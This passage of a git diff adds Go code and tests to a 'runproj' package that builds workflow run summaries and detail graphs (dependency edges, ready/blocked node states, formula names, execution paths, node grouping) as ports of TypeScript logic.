+	"os"
+	"path/filepath"
+	"reflect"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/beads"
+)
+
+// TestSummaryDetailPhaseStageConsistency proves the ADR invariant structurally:
+// the same run resolves to the same phase and the same stage ladder through both
+// BuildRunSummary and BuildRunDetail, because both call the shared
+// mapRunPhase/stageProgress classifier (detail stages == summary stages by
+// construction, not by two call sites that happen to agree).
+func TestSummaryDetailPhaseStageConsistency(t *testing.T) {
+	raw, err := os.ReadFile(filepath.Join("testdata", "beads_fixture.json"))
+	if err != nil {
+		t.Fatalf("read fixture: %v", err)
+	}
+	var beadList []beads.Bead
+	if err := json.Unmarshal(raw, &beadList); err != nil {
+		t.Fatalf("unmarshal fixture: %v", err)
+	}
+
+	const runID = "dt-adopt1"
+
+	summary := BuildRunSummary(beadList)
+	lane, ok := findLane(summary, runID)
+	if !ok {
+		t.Fatalf("run %q not found in summary lanes", runID)
+	}
+
+	detail, err := BuildRunDetail(beadList, runID, detailGoldenSnapshotVersion, detailGoldenSnapshotEventSeq)
+	if err != nil {
+		t.Fatalf("BuildRunDetail: %v", err)
+	}
+
+	if lane.Phase != detail.Phase {
+		t.Errorf("phase mismatch: summary=%q detail=%q", lane.Phase, detail.Phase)
+	}
+	if !reflect.DeepEqual(lane.Stages, detail.Stages) {
+		t.Errorf("stage ladder mismatch:\nsummary=%+v\ndetail =%+v", lane.Stages, detail.Stages)
+	}
+}
+
+// findLane locates a lane by id across the summary's active/blocked/historical
+// partitions.
+func findLane(summary RunSummary, id string) (RunLane, bool) {
+	for _, group := range [][]RunLane{summary.Lanes, summary.BlockedLanes, summary.HistoricalLanes} {
+		for _, lane := range group {
+			if lane.ID == id {
+				return lane, true
+			}
+		}
+	}
+	return RunLane{}, false
+}
diff --git a/internal/runproj/detail_deps_test.go b/internal/runproj/detail_deps_test.go
new file mode 100644
index 0000000000..8c860ef365
--- /dev/null
+++ b/internal/runproj/detail_deps_test.go
@@ -0,0 +1,122 @@
+package runproj
+
+import (
+	"encoding/json"
+	"os"
+	"path/filepath"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/beads"
+)
+
+// TestBuildRunDetailPreservesStepDependencies proves the bead-derived detail
+// projection preserves real step→step dependency edges (the supervisor snapshot's
+// deps), not just the synthesized root→member parent edges. A regression here is
+// what dropped the workflow dependency graph from the run-detail view.
+func TestBuildRunDetailPreservesStepDependencies(t *testing.T) {
+	raw, err := os.ReadFile(filepath.Join("testdata", "beads_fixture.json"))
+	if err != nil {
+		t.Fatalf("read fixture: %v", err)
+	}
+	var beadList []beads.Bead
+	if err := json.Unmarshal(raw, &beadList); err != nil {
+		t.Fatalf("unmarshal fixture: %v", err)
+	}
+
+	// Give rebase-check (dt-adopt1.2) a real dependency on preflight (dt-adopt1.1):
+	// the kind of edge the supervisor RunSnapshot carried and the bead-derived
+	// projection previously discarded.
+	found := false
+	for i := range beadList {
+		if beadList[i].ID == "dt-adopt1.2" {
+			beadList[i].Dependencies = []beads.Dep{
+				{IssueID: "dt-adopt1.2", DependsOnID: "dt-adopt1.1", Type: "blocks"},
+			}
+			found = true
+		}
+	}
+	if !found {
+		t.Fatal("fixture missing dt-adopt1.2; test needs updating")
+	}
+
+	detail, err := BuildRunDetail(beadList, "dt-adopt1", 1, 100)
+	if err != nil {
+		t.Fatalf("BuildRunDetail: %v", err)
+	}
+
+	// The dependency must surface as a display edge between the two steps' semantic
+	// nodes (preflight → rebase-check), carrying the dep type.
+	want := RunDisplayEdge{From: "preflight", To: "rebase-check", Kind: "blocks"}
+	if !hasEdge(detail.Edges, want) {
+		t.Errorf("step→step dependency edge missing: want %+v, got edges %+v", want, detail.Edges)
+	}
+	// The additive fix must not drop the existing root→member parent edges.
+	parent := RunDisplayEdge{From: "dt-adopt1", To: "preflight", Kind: "parent"}
+	if !hasEdge(detail.Edges, parent) {
+		t.Errorf("parent edge dropped: want %+v, got edges %+v", parent, detail.Edges)
+	}
+}
+
+// TestSnapshotDepsMergesRealAndParentEdges unit-tests the dep synthesis helper:
+// real Dependencies and Needs edges (prerequisite → dependent) are merged with
+// root→member parent edges, edges to non-members are dropped, and duplicate
+// edges (same from|to|kind) collapse.
+func TestSnapshotDepsMergesRealAndParentEdges(t *testing.T) {
+	members := []beads.Bead{
+		{ID: "root"},
+		{ID: "a", Dependencies: []beads.Dep{{IssueID: "a", DependsOnID: "root", Type: "blocks"}}},
+		{ID: "b", Needs: []string{"a"}},
+		{ID: "c", Dependencies: []beads.Dep{
+			{IssueID: "c", DependsOnID: "a", Type: "blocks"},
+			{IssueID: "c", DependsOnID: "outsider", Type: "blocks"}, // dropped: not a member
+			{IssueID: "c", DependsOnID: "root", Type: "parent"},     // dupes the synthesized parent edge
+		}},
+	}
+
+	deps := snapshotDeps(members)
+
+	// Real dependency edges: prerequisite → dependent, carrying the dep type
+	// (Needs carries no type, so it projects as the default dependency kind).
+	assertHasDep(t, deps, runSnapshotDep{from: "root", to: "a", kind: "blocks"})
+	assertHasDep(t, deps, runSnapshotDep{from: "a", to: "b", kind: ""})
+	assertHasDep(t, deps, runSnapshotDep{from: "a", to: "c", kind: "blocks"})
+	// Parent edges: root → each non-root member.
+	assertHasDep(t, deps, runSnapshotDep{from: "root", to: "a", kind: "parent"})
+	assertHasDep(t, deps, runSnapshotDep{from: "root", to: "b", kind: "parent"})
+	assertHasDep(t, deps, runSnapshotDep{from: "root", to: "c", kind: "parent"})
+
+	for _, d := range deps {
+		if d.from == "outsider" || d.to == "outsider" {
+			t.Errorf("edge to non-member leaked: %+v", d)
+		}
+	}
+
+	rootCParent := 0
+	for _, d := range deps {
+		if d.from == "root" && d.to == "c" && d.kind == "parent" {
+			rootCParent++
+		}
+	}
+	if rootCParent != 1 {
+		t.Errorf("root→c parent edge not deduped: count=%d, deps=%+v", rootCParent, deps)
+	}
+}
+
+func hasEdge(edges []RunDisplayEdge, want RunDisplayEdge) bool {
+	for _, e := range edges {
+		if e == want {
+			return true
+		}
+	}
+	return false
+}
+
+func assertHasDep(t *testing.T, deps []runSnapshotDep, want runSnapshotDep) {
+	t.Helper()
+	for _, d := range deps {
+		if d == want {
+			return
+		}
+	}
+	t.Errorf("missing dep %+v in %+v", want, deps)
+}
diff --git a/internal/runproj/detail_displaystate.go b/internal/runproj/detail_displaystate.go
new file mode 100644
index 0000000000..4708eaf67e
--- /dev/null
+++ b/internal/runproj/detail_displaystate.go
@@ -0,0 +1,81 @@
+package runproj
+
+// terminalStatuses are the node statuses that satisfy an upstream blocker.
+// Port of TS TERMINAL_STATUSES (display-state.ts).
+var terminalStatuses = map[string]bool{
+	"completed": true,
+	"done":      true,
+	"failed":    true,
+	"skipped":   true,
+}
+
+// applyDisplayNodeStates promotes pending nodes to ready or blocked based on
+// their upstream edges. Port of TS applyDisplayNodeStates. The returned slice is
+// a fresh copy with the pending → ready/blocked transitions applied, mirroring
+// the TS immutable update (the field order of each node is preserved).
+func applyDisplayNodeStates(nodes []RunDisplayNode, edges []RunDisplayEdge) []RunDisplayNode {
+	byID := make(map[string]RunDisplayNode, len(nodes))
+	for _, node := range nodes {
+		byID[node.ID] = node
+	}
+	inbound := buildInboundEdges(edges, byID)
+
+	statusByID := make(map[string]string, len(nodes))
+	for _, node := range nodes {
+		statusByID[node.ID] = displayStatusFor(node, inbound[node.ID], byID)
+	}
+
+	out := make([]RunDisplayNode, len(nodes))
+	for i, node := range nodes {
+		status := node.Status
+		if s, ok := statusByID[node.ID]; ok {
+			status = s
+		}
+		if status == node.Status {
+			out[i] = node
+			continue
+		}
+		updated := node
+		updated.Status = status
+		instances := make([]RunExecutionInstance, len(node.ExecutionInstances))
+		for j, inst := range node.ExecutionInstances {
+			if inst.CurrentIteration && inst.Status == "pending" {
+				inst.Status = status
+			}
+			instances[j] = inst
+		}
+		updated.ExecutionInstances = instances
+		out[i] = updated
+	}
+	return out
+}
+
+func displayStatusFor(node RunDisplayNode, blockers []string, byID map[string]RunDisplayNode) string {
+	if node.Status != "pending" {
+		return node.Status
+	}
+	if len(blockers) == 0 {
+		return "ready"
+	}
+	for _, blockerID := range blockers {
+		blocker, ok := byID[blockerID]
+		if !ok || !terminalStatuses[blocker.Status] {
+			return "blocked"
+		}
+	}
+	return "ready"
+}
+
+func buildInboundEdges(edges []RunDisplayEdge, byID map[string]RunDisplayNode) map[string][]string {
+	inbound := make(map[string][]string)
+	for _, edge := range edges {
+		if _, ok := byID[edge.From]; !ok {
+			continue
+		}
+		if _, ok := byID[edge.To]; !ok {
+			continue
+		}
+		inbound[edge.To] = append(inbound[edge.To], edge.From)
+	}
+	return inbound
+}
diff --git a/internal/runproj/detail_edges.go b/internal/runproj/detail_edges.go
new file mode 100644
index 0000000000..d55e705868
--- /dev/null
+++ b/internal/runproj/detail_edges.go
@@ -0,0 +1,135 @@
+package runproj
+
+import "github.com/gastownhall/gascity/internal/beadmeta"
+
+// buildRunDisplayEdges projects a run snapshot's dependency edges into the
+// display graph, preferring logical edges and bridging across hidden scope-check
+// nodes. Port of TS buildRunDisplayEdges (edges.ts).
+func buildRunDisplayEdges(raw runSnapshot, physicalToSemantic map[string]string, nodes []RunDisplayNode) []RunDisplayEdge {
+	logicalEdges := projectEdges(raw.logicalEdges, physicalToSemantic, nodes, nil)
+	if len(logicalEdges) > 0 {
+		return logicalEdges
+	}
+	return projectEdges(raw.deps, physicalToSemantic, nodes, bridgeableScopeCheckIDs(raw))
+}
+
+func projectEdges(deps []runSnapshotDep, physicalToSemantic map[string]string, nodes []RunDisplayNode, bridgeableHiddenIDs map[string]bool) []RunDisplayEdge {
+	visible := make(map[string]bool)
+	for _, node := range nodes {
+		if node.VisibleInGraph {
+			visible[node.ID] = true
+		}
+	}
+	outgoing := outgoingDeps(deps)
+	seen := make(map[string]bool)
+	edges := []RunDisplayEdge{}
+
+	for _, dep := range deps {
+		rawFrom := nonEmpty(dep.from)
+		rawTo := nonEmpty(dep.to)
+		if rawFrom == "" || rawTo == "" {
+			continue
+		}
+		if nonEmpty(dep.kind) == "tracks" {
+			continue
+		}
+		from := semanticOf(physicalToSemantic, rawFrom)
+		to := semanticOf(physicalToSemantic, rawTo)
+		kind := nonEmpty(dep.kind)
+		hasKind := kind != ""
+		if visible[from] && visible[to] {
+			edges = pushEdge(edges, seen, from, to, kind, hasKind)
+			continue
+		}
+		if visible[from] && bridgeableHiddenIDs[rawTo] {
+			edges = bridgeHiddenEdges(edges, seen, from, rawTo, outgoing, visible, bridgeableHiddenIDs, physicalToSemantic, kind, hasKind, make(map[string]bool))
+		}
+	}
+	return edges
+}
+
+func bridgeHiddenEdges(edges []RunDisplayEdge, seen map[string]bool, source, currentRawID string, outgoing map[string][]runSnapshotDep, visible, bridgeableHiddenIDs map[string]bool, physicalToSemantic map[string]string, inheritedKind string, hasInheritedKind bool, visited map[string]bool) []RunDisplayEdge {
+	if visited[currentRawID] {
+		return edges
+	}
+	visited[currentRawID] = true
+	for _, dep := range outgoing[currentRawID] {
+		rawTo := nonEmpty(dep.to)
+		if rawTo == "" {
+			continue
+		}
+		kind := nonEmpty(dep.kind)
+		if kind == "tracks" {
+			continue
+		}
+		target := semanticOf(physicalToSemantic, rawTo)
+		edgeKind, hasEdgeKind := kind, kind != ""
+		if !hasEdgeKind {
+			edgeKind, hasEdgeKind = inheritedKind, hasInheritedKind
+		}
+		if visible[target] {
+			edges = pushEdge(edges, seen, source, target, edgeKind, hasEdgeKind)
+		} else if bridgeableHiddenIDs[rawTo] {
+			edges = bridgeHiddenEdges(edges, seen, source, rawTo, outgoing, visible, bridgeableHiddenIDs, physicalToSemantic, edgeKind, hasEdgeKind, visited)
+		}
+	}
+	return edges
+}
+
+func pushEdge(edges []RunDisplayEdge, seen map[string]bool, from, to, kind string, hasKind bool) []RunDisplayEdge {
+	if from == to {
+		return edges
+	}
+	edgeKind := "dependency"
+	if hasKind {
+		edgeKind = kind
+	}
+	key := from + "->" + to + ":" + edgeKind
+	if seen[key] {
+		return edges
+	}
+	seen[key] = true
+	return append(edges, RunDisplayEdge{From: from, To: to, Kind: edgeKind})
+}
+
+func outgoingDeps(deps []runSnapshotDep) map[string][]runSnapshotDep {
+	out := make(map[string][]runSnapshotDep)
+	for _, dep := range deps {
+		from := nonEmpty(dep.from)
+		to := nonEmpty(dep.to)
+		if from == "" || to == "" {
+			continue
+		}
+		out[from] = append(out[from], dep)
+	}
+	return out
+}
+
+// bridgeableScopeCheckIDs collects the bead ids of scope-check constructs, which
+// edges may bridge across. Port of TS bridgeableScopeCheckIds.
+func bridgeableScopeCheckIDs(raw runSnapshot) map[string]bool {
+	ids := make(map[string]bool)
+	for _, bead := range raw.beads {
+		id := nonEmpty(bead.id)
+		if id == "" {
+			continue
+		}
+		kind := nonEmpty(bead.metadata[beadmeta.KindMetadataKey])
+		if kind == "" {
+			kind = nonEmpty(bead.kind)
+		}
+		if kind == "scope-check" {
+			ids[id] = true
+		}
+	}
+	return ids
+}
+
+// semanticOf maps a physical id to its semantic id, falling back to the
+// externalized raw id (TS `physicalToSemantic.get(raw) ?? externalizeId(raw)`).
+func semanticOf(physicalToSemantic map[string]string, rawID string) string {
+	if semantic, ok := physicalToSemantic[rawID]; ok {
+		return semantic
+	}
+	return externalizeID(rawID)
+}
diff --git a/internal/runproj/detail_formulaname.go b/internal/runproj/detail_formulaname.go
new file mode 100644
index 0000000000..d6a66e66e9
--- /dev/null
+++ b/internal/runproj/detail_formulaname.go
@@ -0,0 +1,135 @@
+package runproj
+
+import "github.com/gastownhall/gascity/internal/beadmeta"
+
+// resolveRunFormulaIdentityDetailState resolves a run root's formula name,
+// provenance, and target for the 'detail'/'state' modes. Port of the
+// non-lane path through TS resolveRunFormulaIdentity (formula-name.ts): the
+// 'detail' and 'state' modes share every branch (the only mode-specific logic in
+// resolveRunFormulaIdentity is the lane handling), so one function serves both.
+// The bool mirrors `name: string | null`; target is "" when absent.
+func resolveRunFormulaIdentityDetailState(root *runSnapshotBead, formulaDetailName string, hasFormulaDetail bool) (name, source, target string, hasName bool) {
+	target = runFormulaTarget(root)
+
+	if metadata := runFormulaMetadataNameRoot(root); metadata != "" {
+		return metadata, "metadata", target, true
+	}
+	if hasFormulaDetail {
+		if detailName := nonEmpty(formulaDetailName); detailName != "" {
+			return detailName, "formula_detail", target, true
+		}
+	}
+	if title, ok := runFormulaTitleFallbackDetail(root); ok {
+		return title, "title_fallback", target, true
+	}
+	return "", "", target, false
+}
+
+// runFormulaMetadataNameRoot resolves the explicit formula name from root
+// metadata. Port of the non-lane runFormulaMetadataName.
+func runFormulaMetadataNameRoot(root *runSnapshotBead) string {
+	if v := rootMetaPtr(root, beadmeta.FormulaMetadataKey); v != "" {
+		return v
+	}
+	return rootMetaPtr(root, beadmeta.FormulaNameMetadataKey)
+}
+
+// runFormulaTitleFallbackDetail is the graph.v2 title fallback for the
+// detail/state modes (no 'mol-' prefix gate, unlike lane mode). Port of
+// runFormulaTitleFallback for non-lane modes.
+func runFormulaTitleFallbackDetail(root *runSnapshotBead) (string, bool) {
+	if root == nil {
+		return "", false
+	}
+	if rootMetaPtr(root, beadmeta.FormulaContractMetadataKey) != "graph.v2" ||
+		rootMetaPtr(root, beadmeta.RunTargetMetadataKey) == "" ||
+		isTerminalRunRootStatus(root.status) {
+		return "", false
+	}
+	title := nonEmpty(root.title)
+	if title == "" {
+		return "", false
+	}
+	return title, true
+}
+
+// runFormulaTarget resolves the run's routing target. Port of TS runFormulaTarget
+// ("" mirrors null).
+func runFormulaTarget(root *runSnapshotBead) string {
+	if v := rootMetaPtr(root, beadmeta.RunTargetMetadataKey); v != "" {
+		return v
+	}
+	if v := rootMetaPtr(root, beadmeta.RoutedToMetadataKey); v != "" {
+		return v
+	}
+	if root != nil {
+		return nonEmpty(root.assignee)
+	}
+	return ""
+}
+
+func rootMetaPtr(root *runSnapshotBead, key string) string {
+	if root == nil {
+		return ""
+	}
+	return nonEmpty(root.metadata[key])
+}
+
+// ── execution-path.ts ───────────────────────────────────────────────────────
+
+// resolveRunExecutionPath resolves the run's execution path from cwd/work_dir/
+// rig_root metadata, then the rig root argument. Port of TS resolveRunExecutionPath.
+func resolveRunExecutionPath(root *runSnapshotBead, beads []runSnapshotBead, rigRoot string) RunExecutionPath {
+	if path, ok := executionWorkDirsPtr(root); ok {
+		return RunExecutionPath{Kind: "known", Path: path}
+	}
+	for i := range beads {
+		if path, ok := executionWorkDirs(beads[i]); ok {
+			return RunExecutionPath{Kind: "known", Path: path}
+		}
+	}
+	if path, ok := rigRootsPtr(root); ok {
+		return RunExecutionPath{Kind: "known", Path: path}
+	}
+	for i := range beads {
+		if path, ok := rigRoots(beads[i]); ok {
+			return RunExecutionPath{Kind: "known", Path: path}
+		}
+	}
+	if path := nonEmpty(rigRoot); path != "" {
+		return RunExecutionPath{Kind: "known", Path: path}
+	}
+	return RunExecutionPath{Kind: "unavailable", Reason: "missing_cwd_and_rig_root"}
+}
+
+func executionWorkDirs(bead runSnapshotBead) (string, bool) {
+	for _, key := range []string{beadmeta.CwdMetadataKey, "cwd", beadmeta.WorkDirMetadataKey, "work_dir"} {
+		if v := beadMeta(bead, key); v != "" {
+			return v, true
+		}
+	}
+	return "", false
+}
+
+func executionWorkDirsPtr(bead *runSnapshotBead) (string, bool) {
+	if bead == nil {
+		return "", false
+	}
+	return executionWorkDirs(*bead)
+}
+
+func rigRoots(bead runSnapshotBead) (string, bool) {
+	for _, key := range []string{beadmeta.RigRootMetadataKey, "rig_root"} {
+		if v := beadMeta(bead, key); v != "" {
+			return v, true
+		}
+	}
+	return "", false
+}
+
+func rigRootsPtr(bead *runSnapshotBead) (string, bool) {
+	if bead == nil {
+		return "", false
+	}
+	return rigRoots(*bead)
+}
diff --git a/internal/runproj/detail_golden_test.go b/internal/runproj/detail_golden_test.go
new file mode 100644
index 0000000000..63ad534199
--- /dev/null
+++ b/internal/runproj/detail_golden_test.go
@@ -0,0 +1,60 @@
+package runproj
+
+import (
+	"bytes"
+	"encoding/json"
+	"os"
+	"path/filepath"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/beads"
+)
+
+// detailGoldenRunID is the graph.v2 run captured as the FormulaRunDetail golden
+// (rundetail_golden.json), the Go-owned reference fixture.
+const detailGoldenRunID = "dt-adopt1"
+
+// detailGoldenSnapshotVersion / detailGoldenSnapshotEventSeq are the
+// snapshot_version=1 / snapshot_event_seq=100 constants that appear verbatim in
+// the golden's snapshotVersion/snapshotEventSeq.
+const (
+	detailGoldenSnapshotVersion  = 1
+	detailGoldenSnapshotEventSeq = 100
+)
+
+// TestBuildRunDetailGolden pins the Go port of the detail pipeline to the
+// TypeScript oracle: it loads the shared bead fixture, builds the detail for the
+// captured run, and asserts the canonical JSON matches rundetail_golden.json
+// byte-for-byte (same JSON.stringify(value, null, 2)+newline canonicalization the
+// generator used).
+func TestBuildRunDetailGolden(t *testing.T) {
+	fixturePath := filepath.Join("testdata", "beads_fixture.json")
+	goldenPath := filepath.Join("testdata", "rundetail_golden.json")
+
+	raw, err := os.ReadFile(fixturePath)
+	if err != nil {
+		t.Fatalf("read fixture: %v", err)
+	}
+	var beadList []beads.Bead
+	if err := json.Unmarshal(raw, &beadList); err != nil {
+		t.Fatalf("unmarshal fixture: %v", err)
+	}
+
+	detail, err := BuildRunDetail(beadList, detailGoldenRunID, detailGoldenSnapshotVersion, detailGoldenSnapshotEventSeq)
+	if err != nil {
+		t.Fatalf("BuildRunDetail: %v", err)
+	}
+	got, err := canonicalJSON(detail)
+	if err != nil {
+		t.Fatalf("marshal detail: %v", err)
+	}
+
+	want, err := os.ReadFile(goldenPath)
+	if err != nil {
+		t.Fatalf("read golden: %v", err)
+	}
+
+	if !bytes.Equal(got, want) {
+		t.Errorf("run detail does not match golden:\n%s", unifiedDiff(string(want), string(got)))
+	}
+}
diff --git a/internal/runproj/detail_groups.go b/internal/runproj/detail_groups.go
new file mode 100644
index 0000000000..a3ca812752
--- /dev/null
+++ b/internal/runproj/detail_groups.go
@@ -0,0 +1,453 @@
+package runproj
+
+import (
+	"sort"
+	"strings"
+
+	"github.com/gastownhall/gascity/internal/beadmeta"
+)
+
+// runNodeGroup is one semantic node and the physical beads grouped under it.
+// Port of TS RunNodeGroup (execution-instances.ts). scopeRef and
+// loopControlNodeID use "" to mean undefined (groupOptional only ever yields a
+// non-empty string or undefined).
+type runNodeGroup struct {
+	semanticNodeID    string
+	title             string
+	kind              string
+	constructKind     string
+	scopeRef          string
+	loopControlNodeID string
+	beads             []runSnapshotBead
+}
+
+// runBeadGroups is the output of groupRunBeads. Port of TS RunBeadGroups, with
+// groups carried in first-seen semantic-id order.
+type runBeadGroups struct {
+	groups             []runNodeGroup
+	physicalToSemantic map[string]string
+	badgesByTarget     map[string][]RunControlBadge
+}
+
+// beadIdentity is a bead's resolved semantic identity. Port of TS BeadIdentity
+// (hasDisambiguator mirrors `disambiguator: string | undefined`).
+type beadIdentity struct {
+	base             string
+	disambiguator    string
+	hasDisambiguator bool
+	semanticNodeID   string
+}
+
+// groupRunBeads partitions a run's beads into semantic node groups, mapping
+// physical bead ids to semantic ids and collecting hidden-construct badges.
+// Port of TS groupRunBeads (groups.ts). Beads are addressed by index to mirror
+// the TS Map keyed by object identity.
+func groupRunBeads(beads []runSnapshotBead, rootBeadID string) runBeadGroups {
+	physicalToSemantic := make(map[string]string)
+	badgesByTarget := make(map[string][]RunControlBadge)
+	physicalLogicalTargets := referencedPhysicalLogicalTargets(beads)
+	identities := resolveBeadIdentities(beads, rootBeadID, physicalLogicalTargets)
+	badgeTargetAliases := buildBadgeTargetAliases(beads, rootBeadID, identities, physicalLogicalTargets)
+
+	grouped := make(map[string][]runSnapshotBead)
+	var groupOrder []string
+
+	for i := range beads {
+		bead := beads[i]
+		beadID := nonEmpty(bead.id)
+		constructKind := constructKindFor(bead, rootBeadID)
+		semanticNodeID := semanticNodeIDFor(bead, rootBeadID)
+		if id, ok := identities[i]; ok {
+			semanticNodeID = id.semanticNodeID
+		}
+		physicalToSemantic[beadID] = semanticNodeID
+
+		if isHiddenConstruct(constructKind) {
+			target := hiddenBadgeTargetFor(bead, rootBeadID)
+			resolvedTarget, ok := resolveBadgeTarget(bead, rootBeadID, badgeTargetAliases, target)
+			if ok {
+				id := beadID
+				if id == "" {
+					id = resolvedTarget + "-" + constructKind
+				}
+				badgesByTarget[resolvedTarget] = append(badgesByTarget[resolvedTarget], RunControlBadge{
+					ID:     id,
+					Label:  badgeLabelFor(constructKind),
+					Status: presentationStatus(bead),
+				})
+			}
+			continue
+		}
+
+		if _, ok := grouped[semanticNodeID]; !ok {
+			groupOrder = append(groupOrder, semanticNodeID)
+		}
+		grouped[semanticNodeID] = append(grouped[semanticNodeID], bead)
+	}
+
+	groups := make([]runNodeGroup, 0, len(groupOrder))
+	for _, semanticNodeID := range groupOrder {
+		groups = append(groups, buildRunNodeGroup(semanticNodeID, grouped[semanticNodeID], rootBeadID))
+	}
+
+	return runBeadGroups{
+		groups:             groups,
+		physicalToSemantic: physicalToSemantic,
+		badgesByTarget:     badgesByTarget,
+	}
+}
+
+// buildRunNodeGroup assembles one semantic node group. Port of TS
+// buildRunNodeGroup.
+func buildRunNodeGroup(semanticNodeID string, beads []runSnapshotBead, rootBeadID string) runNodeGroup {
+	shapeBead := preferredShapeBead(beads, rootBeadID)
+	constructKind := constructKindFor(shapeBead, rootBeadID)
+	scopeRef := groupOptional(beads, shapeBead, func(b runSnapshotBead) string {
+		if v := beadMeta(b, beadmeta.ScopeRefMetadataKey); v != "" {
+			return v
+		}
+		return nonEmpty(b.scopeRef)
+	})
+	loopControlNodeID := groupOptional(beads, shapeBead, loopControlNodeIDFor)
+
+	return runNodeGroup{
+		semanticNodeID:    semanticNodeID,
+		title:             displayTitleFor(shapeBead, semanticNodeID),
+		kind:              externalKindFor(shapeBead, constructKind),
+		constructKind:     constructKind,
+		scopeRef:          scopeRef,
+		loopControlNodeID: loopControlNodeID,
+		beads:             beads,
+	}
+}
+
+// preferredShapeBead picks the bead that drives a group's shape: highest
+// construct priority, then lowest sort key. Port of TS preferredShapeBead (a
+// stable sort, mirrored with sort.SliceStable). localeCompare is approximated by
+// byte comparison, matching the P1 convention.
+func preferredShapeBead(beads []runSnapshotBead, rootBeadID string) runSnapshotBead {
+	if len(beads) == 0 {
+		// buildRunNodeGroup is only ever called with a non-empty group; mirror the
+		// TS throw defensively.
+		panic("runproj: cannot build run node group from zero beads")
+	}
+	sorted := make([]runSnapshotBead, len(beads))
+	copy(sorted, beads)
+	sort.SliceStable(sorted, func(i, j int) bool {
+		priorityDiff := constructPriority(constructKindFor(sorted[j], rootBeadID)) -
+			constructPriority(constructKindFor(sorted[i], rootBeadID))
+		if priorityDiff != 0 {
+			return priorityDiff < 0
+		}
+		return strings.Compare(beadSortKey(sorted[i]), beadSortKey(sorted[j])) < 0
+	})
+	return sorted[0]
+}
+
+// groupOptional resolves an optional group field: the shape bead's value, else
+// the first defined value across the sorted beads. Port of TS groupOptional ("" =
+// undefined).
+func groupOptional(beads []runSnapshotBead, shapeBead runSnapshotBead, resolve func(runSnapshotBead) string) string {
+	if v := resolve(shapeBead); v != "" {
+		return v
+	}
+	for _, b := range sortedBeads(beads) {
+		if v := resolve(b); v != "" {
+			return v
+		}
+	}
+	return ""
+}
+
+// constructPriority ranks construct kinds for shape-bead selection. Port of TS
+// constructPriority.
+func constructPriority(kind string) int {
+	switch kind {
+	case "run-root":
+		return 100
+	case "check-loop":
+		return 90
+	case "retry":
+		return 80
+	case "condition", "fanout", "scope", "expansion":
+		return 70
+	case "step":
+		return 10
+	default: // control, run-finalize, scope-check, spec, unknown
+		return 0
+	}
+}
+
+// sortedBeads returns beads sorted by sort key. Port of TS sortedBeads.
+func sortedBeads(beads []runSnapshotBead) []runSnapshotBead {
+	sorted := make([]runSnapshotBead, len(beads))
+	copy(sorted, beads)
+	sort.SliceStable(sorted, func(i, j int) bool {
+		return strings.Compare(beadSortKey(sorted[i]), beadSortKey(sorted[j])) < 0
+	})
+	return sorted
+}
+
+// beadSortKey builds a bead's deterministic sort key. Port of TS beadSortKey.
+func beadSortKey(b runSnapshotBead) string {
+	parts := make([]string, 0, 3)
+	if v := nonEmpty(b.id); v != "" {
+		parts = append(parts, v)
+	}
+	if v := normalizedStepRef(b); v != "" {
+		parts = append(parts, v)
+	}
+	if v := nonEmpty(b.title); v != "" {
+		parts = append(parts, v)
+	}
+	return strings.Join(parts, "\x00")
+}
+
+// resolveBeadIdentities computes each non-hidden bead's semantic identity,
+// disambiguating only when a base id is shared. Port of TS resolveBeadIdentities.
+func resolveBeadIdentities(beads []runSnapshotBead, rootBeadID string, physicalLogicalTargets map[string]bool) map[int]beadIdentity {
+	partial := make(map[int]beadIdentity)
+	identitiesByBase := make(map[string]map[string]bool)
+
+	for i := range beads {
+		bead := beads[i]
+		if isHiddenConstruct(constructKindFor(bead, rootBeadID)) {
+			continue
+		}
+		base := groupingBaseSemanticID(bead, rootBeadID, physicalLogicalTargets)
+		disambiguator, hasDisambiguator := duplicateResolutionIdentity(bead, rootBeadID, base, physicalLogicalTargets)
+		partial[i] = beadIdentity{base: base, disambiguator: disambiguator, hasDisambiguator: hasDisambiguator}
+
+		identity := base
+		if hasDisambiguator {
+			identity = disambiguator
+		}
+		if identitiesByBase[base] == nil {
+			identitiesByBase[base] = make(map[string]bool)
+		}
+		identitiesByBase[base][identity] = true
+	}
+
+	resolved := make(map[int]beadIdentity, len(beads))
+	for i := range beads {
+		id, ok := partial[i]
+		if !ok {
+			id = beadIdentity{base: semanticNodeIDFor(beads[i], rootBeadID)}
+		}
+		semanticNodeID := id.base
+		if set := identitiesByBase[id.base]; len(set) > 1 && id.hasDisambiguator {
+			semanticNodeID = id.disambiguator
+		}
+		id.semanticNodeID = semanticNodeID
+		resolved[i] = id
+	}
+	return resolved
+}
+
+// groupingBaseSemanticID resolves a bead's grouping base id. Port of TS
+// groupingBaseSemanticId.
+func groupingBaseSemanticID(b runSnapshotBead, rootBeadID string, physicalLogicalTargets map[string]bool) string {
+	beadID := nonEmpty(b.id)
+	if beadID != "" && beadID == rootBeadID {
+		return rootBeadID
+	}
+	if explicit := explicitLogicalBeadID(b); explicit != "" {
+		return externalizeID(explicit)
+	}
+	constructKind := constructKindFor(b, rootBeadID)
+	if (constructKind == "check-loop" || constructKind == "retry") && beadID != "" && physicalLogicalTargets[beadID] {
+		return externalizeID(beadID)
+	}
+	return semanticNodeIDFor(b, rootBeadID)
+}
+
+// duplicateResolutionIdentity resolves the disambiguator candidate for a bead.
+// Port of TS duplicateResolutionIdentity (bool mirrors undefined).
+func duplicateResolutionIdentity(b runSnapshotBead, rootBeadID, base string, physicalLogicalTargets map[string]bool) (string, bool) {
+	beadID := nonEmpty(b.id)
+	if beadID != "" && physicalLogicalTargets[beadID] && externalizeID(beadID) == base {
+		return base, true
+	}
+	return stableSemanticIdentity(b, rootBeadID)
+}
+
+// buildBadgeTargetAliases maps every alias that uniquely identifies one visible
+// node to that node. Port of TS buildBadgeTargetAliases.
+func buildBadgeTargetAliases(beads []runSnapshotBead, rootBeadID string, identities map[int]beadIdentity, physicalLogicalTargets map[string]bool) map[string]string {
+	candidates := make(map[string]map[string]bool)
+
+	for i := range beads {
+		bead := beads[i]
+		if isHiddenConstruct(constructKindFor(bead, rootBeadID)) {
+			continue
+		}
+		id, hasIdentity := identities[i]
+		resolvedTarget := semanticNodeIDFor(bead, rootBeadID)
+		if hasIdentity {
+			resolvedTarget = id.semanticNodeID
+		}
+		var identityPtr *beadIdentity
+		if hasIdentity {
+			identityPtr = &id
+		}
+		for _, alias := range visibleNodeAliases(bead, rootBeadID, identityPtr, physicalLogicalTargets) {
+			if candidates[alias] == nil {
